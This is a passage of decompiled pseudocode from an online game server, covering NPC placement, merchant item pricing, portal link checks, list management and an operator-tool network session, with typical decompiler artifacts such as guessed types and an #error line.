v26; // [sp+34h] [bp-2Ch]@2 int v27; // [sp+38h] [bp-28h]@2 int v28; // [sp+3Ch] [bp-24h]@2 FunctionEntarance _; // [sp+40h] [bp-20h]@1 char map[4]; // [sp+44h] [bp-1Ch]@15 int v31; // [sp+48h] [bp-18h]@15 int v32; // [sp+4Ch] [bp-14h]@15 unsigned int v33; // [sp+50h] [bp-10h]@1 int v34; // [sp+5Ch] [bp-4h]@1 v2 = this; v33 = (unsigned int)&n ^ __security_cookie; v20 = this; _.fe_FunctionCode = "NPCManager::nm_StandNPC"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCManager::nm_StandNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCManager::nm_StandNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->nm_BufferPoint; v34 = 0; n = 0; if ( v3 > 0 ) { do { v4 = (const char *)v2->nm_BufferArray[0].pnt; v28 = 0; v27 = 0; v26 = 0; v25 = 0; v24 = 0; v23 = 0; v22 = 0; *(_DWORD *)v21 = 0; strncpy(v21, v4, 0x20u); if ( *(_DWORD *)&MobIndex == *(_DWORD *)v21 && *(_DWORD *)&MobIndex.n8_name[4] == v22 && *(_DWORD *)&MobIndex.n8_name[8] == v23 && *(_DWORD *)&MobIndex.n8_name[12] == v24 && *(_DWORD *)&MobIndex.n8_name[16] == v25 && *(_DWORD *)&MobIndex.n8_name[20] == v26 && *(_DWORD *)&MobIndex.n8_name[24] == v27 && *(_DWORD *)&MobIndex.n8_name[28] == v28 ) { v18 = (const char *)v2->nm_BufferArray[0].pnt; v5 = BTree::operator__(&mobdatabox.mdb_btree, v18); v6 = v5; if ( v5 != -1 && (_WORD)v5 != -1 ) { v18 = (const char *)v2->nm_BufferArray[0].handle; v7 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int16)v18); if ( v7 && v6 == (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v7 + 1792))(v7) ) { v8 = v2->nm_BufferArray[0].pnt->map; v32 = 0; v31 = 0; *(_DWORD *)map = 0; strncpy(map, v8, 0xCu); v9 = v2->nm_BufferArray[0].pnt; v10 = *(_DWORD *)v7; v18 = (const char *)v2->nm_BufferArray[0].pnt->direct_degree; v11 = v9->coordy; v12 = v9->coordx; v17 = v11; v16 = v12; v14 = v31; v15 = v32; (*(void (__thiscall **)(void *, _DWORD, int, int, unsigned int, unsigned int, const char *))(v10 + 2984))( v7, *(_DWORD *)map, v31, v32, v12, v11, v18); if ( ShineObjectClass::ShineObject::so_MapMarking(v7, 0) ) { ShineObjectManager::som_FreeObject(&shineobjmanager, v20->nm_BufferArray[n].handle, 0, 34); break; } ShineObjectClass::ShineObject::so_AllInMap( v7, (int)ShineObjectClass::ShineObject::so_BroadcastBriefInfo, 0, 0, 0, 0); (*(void (__thiscall **)(void *))(*(_DWORD *)v7 + 2744))(v7); } } else { v18 = (const char *)v2->nm_BufferArray[0].pnt; AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_StandNPC : Invalid mob id", v18); } } v13 = v20->nm_BufferPoint; v2 = (NPCManager *)((char *)v2 + 12); ++n; } while ( n < v13 ); } --funcallanalizer.fca_stackpoint; v34 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCManager::nm_StandNPC"); __security_check_cookie((unsigned int)&n ^ v33); } // 457320: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (004B0620) -------------------------------------------------------- void __thiscall NPCManager::nm_UnmarkNPC(NPCManager *this, Name8 MobIndex) { NPCManager *v2; // ebp@1 int v3; // eax@1 int v4; // edi@1 const char *v5; // eax@2 unsigned int v6; // eax@10 __int16 v7; // bx@10 void *v8; // esi@13 int v9; // edx@15 int v10; // edx@16 int v11; // [sp-Ch] [bp-58h]@15 signed int v12; // [sp-8h] [bp-54h]@15 const char *v13; // [sp-4h] [bp-50h]@10 int n; // [sp+10h] [bp-3Ch]@1 char v15[4]; // [sp+14h] [bp-38h]@2 int v16; // [sp+18h] [bp-34h]@2 int v17; // [sp+1Ch] [bp-30h]@2 int v18; // [sp+20h] [bp-2Ch]@2 int v19; // [sp+24h] [bp-28h]@2 int v20; // [sp+28h] [bp-24h]@2 int v21; // [sp+2Ch] [bp-20h]@2 int v22; // [sp+30h] [bp-1Ch]@2 NPCManager *v23; // [sp+34h] [bp-18h]@1 FunctionEntarance _; // [sp+38h] [bp-14h]@1 unsigned int v25; // [sp+3Ch] [bp-10h]@1 int v26; // [sp+48h] [bp-4h]@1 v2 = this; v25 = (unsigned int)&n ^ __security_cookie; v23 = this; _.fe_FunctionCode = "NPCManager::nm_StandNPC"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCManager::nm_StandNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCManager::nm_StandNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->nm_BufferPoint; v4 = 0; v26 = 0; n = 0; if ( v3 > 0 ) { do { v5 = (const char *)v2->nm_BufferArray[0].pnt; v22 = v4; v21 = v4; v20 = v4; v19 = v4; v18 = v4; v17 = v4; v16 = v4; *(_DWORD *)v15 = v4; strncpy(v15, v5, 0x20u); if ( *(_DWORD *)&MobIndex == *(_DWORD *)v15 && *(_DWORD *)&MobIndex.n8_name[4] == v16 && *(_DWORD *)&MobIndex.n8_name[8] == v17 && *(_DWORD *)&MobIndex.n8_name[12] == v18 && *(_DWORD *)&MobIndex.n8_name[16] == v19 && *(_DWORD *)&MobIndex.n8_name[20] == v20 && *(_DWORD *)&MobIndex.n8_name[24] == v21 && *(_DWORD *)&MobIndex.n8_name[28] == v22 ) { v13 = (const char *)v2->nm_BufferArray[0].pnt; v6 = BTree::operator__(&mobdatabox.mdb_btree, v13); v7 = v6; if ( v6 != -1 && (_WORD)v6 != -1 ) { v13 = (const char *)v2->nm_BufferArray[0].handle; v8 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int16)v13); if ( v8 != (void *)v4 && v7 == (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1792))(v8) ) { ShineObjectClass::ShineObject::so_AllInMap( v8, (int)ShineObjectClass::ShineObject::so_BroadcastEndOfTrade, 0, 0, v4, v4); v9 = *(_DWORD *)v8; v13 = (const char *)3; v12 = 1; v4 = 0; v11 = 0; (*(void (__thiscall **)(void *, _DWORD, signed int, signed int))(v9 + 828))(v8, 0, 1, 3); } } else { v13 = (const char *)v2->nm_BufferArray[0].pnt; AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_StandNPC : Invalid mob id", v13); } } v10 = v23->nm_BufferPoint; v2 = (NPCManager *)((char *)v2 + 12); ++n; } while ( n < v10 ); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCManager::nm_StandNPC"); __security_check_cookie((unsigned int)&n ^ v25); } //----- (004B0830) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #593 *a2, unsigned __int16 itemid) { signed __int16 v3; // ax@1 unsigned int result; // eax@3 ItemDataBox::ItemDataBoxIndex *v5; // eax@4 unsigned int v6; // esi@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemSellPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineObject::so_mapindex((void *)a2); if ( v3 != 255 && v3 != -1 ) { v5 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v5 ) { v6 = v5->data->SellPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = v6; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : Wrong mapindex", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } return result; } //----- (004B0980) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #593 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = 0; } return result; } //----- (004B0A80) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #593 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyGuildToken"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyGToken; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = v5; } else { AssertClass::ac_AssertFail( &shineassert, "NPCRole_Merchant::nrb_ItemBuyGuildToken : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = 0; } return result; } //----- (004B0B80) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #593 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyFame; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = 0; } return result; } //----- (004B0C80) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGBCoin(NPCRole_Merchant *this, #593 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyCoin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyCoin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyGBCoin; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyCoin"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyCoin"); result = 0; } return result; } //----- (004B0D80) -------------------------------------------------------- void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this) { MerchantCityData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Map[0] = 0; v1->baseclass_0.bdb_defaultblock.Sub = 0; } //----- (004B0DA0) -------------------------------------------------------- void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this) { BinaryDataBox *v1; // esi@1 v1 = (BinaryDataBox *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BinaryDataBox::bdb_ReadData(v1, "../9Data/Hero/ItemMerchantInfo.shn"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); } //----- (004B0E40) -------------------------------------------------------- int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex) { MerchantCityData *v2; // ebp@1 MapInfo *v3; // edi@2 unsigned int v4; // eax@4 unsigned int v5; // ecx@4 void *v7; // ebp@9 unsigned int v8; // ecx@11 char *v9; // ecx@11 int v10; // esi@14 char *v11; // [sp-4h] [bp-24h]@3 MerchantCityData *v12; // [sp+Ch] [bp-14h]@1 unsigned int mapindexa; // [sp+24h] [bp+4h]@4 v2 = this; v12 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_city"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_city"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mapindex >= mapdatabox.mdb_maxmapid || (v3 = mapdatabox.mdb_index[mapindex]) == 0 ) { v11 = "MerchantCityData::mcd_city"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return 0; } v4 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; mapindexa = 0; if ( (signed int)v4 <= 0 ) { LABEL_5: v11 = "MerchantCityData::mcd_city"; goto LABEL_6; } while ( 1 ) { v7 = v5 < v4 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v5) : &v2->baseclass_0.bdb_defaultblock; v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v3->MapName.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v3->MapName.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v3->MapName.n3_name[8]; v9[12] = 0; if ( !strcmp((const char *)v7, v9) ) break; v4 = v12->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++mapindexa; if ( (signed int)mapindexa >= (signed int)v4 ) goto LABEL_5; v5 = mapindexa; v2 = v12; } v10 = *((_BYTE *)v7 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_city"); return v10; } //----- (004B0FE0) -------------------------------------------------------- #error "4B0FE0: undefined or illegal type '#734' (funcsize=29)" //----- (004B1080) -------------------------------------------------------- void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #734 *a2, int linknum, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrench"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->nrb_BrenchNumber = linknum; memcpy(&v4->nrb_BrenchSpot, lnkstr, sizeof(v4->nrb_BrenchSpot)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); } //----- (004B10F0) -------------------------------------------------------- char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRoleBase::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); return 0; } //----- (004B1140) -------------------------------------------------------- char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v2; // ebx@1 int v3; // eax@1 NPCManager::LinkInformTemplete *v4; // edi@2 bool v5; // zf@2 signed int v6; // ecx@2 int v7; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->nrb_BrenchNumber; if ( v3 >= 0 ) { v4 = lnkstr; v5 = 1; v6 = 101; v7 = (int)&v2->nrb_BrenchSpot; do { if ( !v6 ) break; v5 = *(_BYTE *)v7++ == v4->index[0]; v4 = (NPCManager::LinkInformTemplete *)((char *)v4 + 1); --v6; } while ( v5 ); if ( !v5 ) goto LABEL_8; if ( v3 > 0 ) { v2->nrb_BrenchNumber = v3 - 1; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 0; } //----- (004B1210) -------------------------------------------------------- void __thiscall NPCManager::_NPCManager(NPCManager *this) { NPCManager *v1; // esi@1 NPCRoleBase *v2; // eax@2 void *v3; // ST00_4@3 int v4; // eax@4 v1 = this; this->nm_BufferPoint = 0; do { v2 = v1->nm_BufferArray[v1->nm_BufferPoint].func; if ( v2 ) { v3 = v1->nm_BufferArray[v1->nm_BufferPoint].func; v2->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; operator delete(v3); } v4 = v1->nm_BufferPoint + 1; v1->nm_BufferPoint = v4; } while ( (unsigned int)v4 < 0x400 ); OptionReader::_OptionReader(&v1->nm_NPCInfo); } // 64ED38: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004B1270) -------------------------------------------------------- void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession) { this->opto_SocketSession = pSession; this->opto_ListPacket = clockwatch.cw_CurrTick; } //----- (004B1290) -------------------------------------------------------- void __thiscall OPToolSession::OPToolSession(OPToolSession *this) { OPToolSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; } // 64F230: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (004B12B0) -------------------------------------------------------- void __thiscall OPToolSession::_OPToolSession(OPToolSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 64F230: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (004B12C0) -------------------------------------------------------- char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this) { char buffer; // [sp+0h] [bp-44h]@1 int v3; // [sp+1h] [bp-43h]@1 unsigned int v4; // [sp+40h] [bp-4h]@1 v4 = (unsigned int)&buffer ^ __security_cookie; LOWORD(v3) = v3 & 0x3FF | 0x800; buffer = 2; LOWORD(v3) = v3 & 0xFC01 | 1; return ZoneBaseSession::Send(&this->baseclass_0, &buffer, 3); } //----- (004B1320) -------------------------------------------------------- ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // di@9 ListStruct *v7; // esi@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; v7 = this->l_Array; if ( v6 == -1 ) { v7[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { v7[v4].ls_Next = v7[v6].ls_Next; this->l_Array[v4].ls_Prev = this->l_Finger.store; this->l_Array[this->l_Array[this->l_Finger.store].ls_Next].ls_Prev = hnd; this->l_Array[this->l_Finger.store].ls_Next = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (004B1410) -------------------------------------------------------- ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // si@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; if ( v6 == -1 ) { this->l_Array[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { this->l_Array[v4].ls_Next = v6; this->l_Array[v4].ls_Prev = this->l_Array[this->l_Finger.store].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.store].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.store].ls_Prev = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (004B1500) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004B1550) -------------------------------------------------------- char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle) { OPToolObject *v3; // esi@1 OPToolSession *v4; // eax@1 signed int v5; // ecx@3 int v6; // eax@5 int v7; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolObject::opto_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolObject::opto_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->opto_SocketSession; if ( !v3->opto_SocketSession ) { ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); goto LABEL_14; } v5 = v4->baseclass_0.m_Status; if ( v5 > 0 && v5 <= 2 ) { v6 = v4->baseclass_0.m_Packet.vfptr->IsValidPacket(&v4->baseclass_0.m_Packet); if ( v6 ) { v7 = v6 - 1; if ( !v7 ) { ((void (__stdcall *)(_DWORD, _DWORD))v3->opto_SocketSession->baseclass_0.vfptr->zbs_Parsing)(0, handle); v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->TakeNextPacket(&v3->opto_SocketSession->baseclass_0.m_Packet); v3->opto_ListPacket = clockwatch.cw_CurrTick; ++sleepmanager.sm_PacketNumber; goto LABEL_14; } if ( v7 == 1 ) { v3->opto_SocketSession->baseclass_0.m_Status = 3; LABEL_13: v3->opto_SocketSession = 0; goto LABEL_14; } } else { if ( v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->RemoveAllUsedPacket(&v3->opto_SocketSession->baseclass_0.m_Packet) ) ZoneBaseSession::Receive(&v3->opto_SocketSession->baseclass_0); if ( v3->opto_ListPacket + 600 < clockwatch.cw_CurrTick ) goto LABEL_13; } } LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolObject::opto_Routine"); return 1; } //----- (004B16A0) -------------------------------------------------------- void __thiscall OPToolList::_OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->optl_Array, 8u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004B1710) -------------------------------------------------------- void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::opts_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); } //----- (004B17C0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2051; v3[2] = LOBYTE(netcmd[1].protocol); if ( HIBYTE(netcmd[1].protocol) == 6 ) *(_WORD *)(v3 + 3) = LOBYTE(netcmd[2].protocol) != 8; else *(_WORD *)(v3 + 3) = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ : Packet Too Long", 5); 